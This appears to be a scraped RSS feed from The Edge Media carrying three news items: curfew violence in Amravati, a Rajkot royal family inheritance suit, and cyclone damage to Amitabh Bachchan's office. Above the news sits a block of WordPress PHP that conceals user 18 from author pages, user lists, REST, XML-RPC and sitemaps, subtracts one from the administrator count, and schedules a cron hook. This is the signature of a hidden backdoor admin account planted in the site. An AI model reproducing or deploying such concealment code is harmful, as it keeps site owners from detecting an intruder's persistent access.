add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Maharashtra: Curfew announced amid more violence in Amravati; shops, private property destroyed appeared first on The Edge Media.
]]>
Around 10 a.m., numerous television outlets broadcast footage of a mob damaging businesses in the sight of police officers, including a female cop who is seen slapping them.
The post Maharashtra: Curfew announced amid more violence in Amravati; shops, private property destroyed appeared first on The Edge Media.
]]>The post Rajkot Royal Family Fight Over Property as one member take it to the court appeared first on The Edge Media.
]]>Ambalika Devi, the sister of Mandhatasinh Jadeja, who is the 17th king of the over 400-year-old erstwhile princely state of Rajkot in Gujarat, has filed a suit in the city civil court against the release deed and the will of her father Manoharsinh Jadeja, her lawyer Ketan Sindhava said on Wednesday.
She has challenged the release deed which construed that she had relinquished her right on inheritance property.
Ambalika Devi, who lives in Jhansi, has claimed she was made to sign a release deed by her brother Mandhatasinh Jadeja in 2019 when she visited Rajkot following her father’s death, “by keeping her in the dark and ill-informed”, he said.
The post Rajkot Royal Family Fight Over Property as one member take it to the court appeared first on The Edge Media.
]]>The post Amitabh Bacchan’s Mumbai office flooded due to cyclone Tauktae. appeared first on The Edge Media.
]]>He wrote,”There is an eerie silence in the midst of the cyclone…the pounding and the lashing rains all day.. trees fell, leakages all over, flooding in the vulnerable Janak Office..impromptu plastic cover sheets still in prep for the heavy monsoon rain, ripped apart.. sheds and shelters for some staff blown away.. BUT the spirit of fight impregnable… all hands on deck… stepping out, repairing, preventing helping in extenuating circumstances drenched.. but on it”.
He added that the staff is simply amazing in such conditions, their uniforms were wet and dripping but they continued. The megastar also gave them an immediate change of clothes from his own wardrobe. He also tweeted,”T 3906- The winds and the rain of cyclone Tauktae lashes us with intense ferocity.. my prayers for all to be safe and protected”.
T 3907 – इन संकट की घड़ियों में, प्रार्थना, प्रार्थना, प्रार्थना !
श्री काशी विश्वनाथ,#वाराणसी,
दि.17.5.2021 के सप्तऋषि /संध्या आरती के दर्शन।
हर हर महादेव
ॐ नम: शिवाय्pic.twitter.com/I612gZw61W
— Amitabh Bachchan (@SrBachchan) May 17, 2021
The post Amitabh Bacchan’s Mumbai office flooded due to cyclone Tauktae. appeared first on The Edge Media.
]]>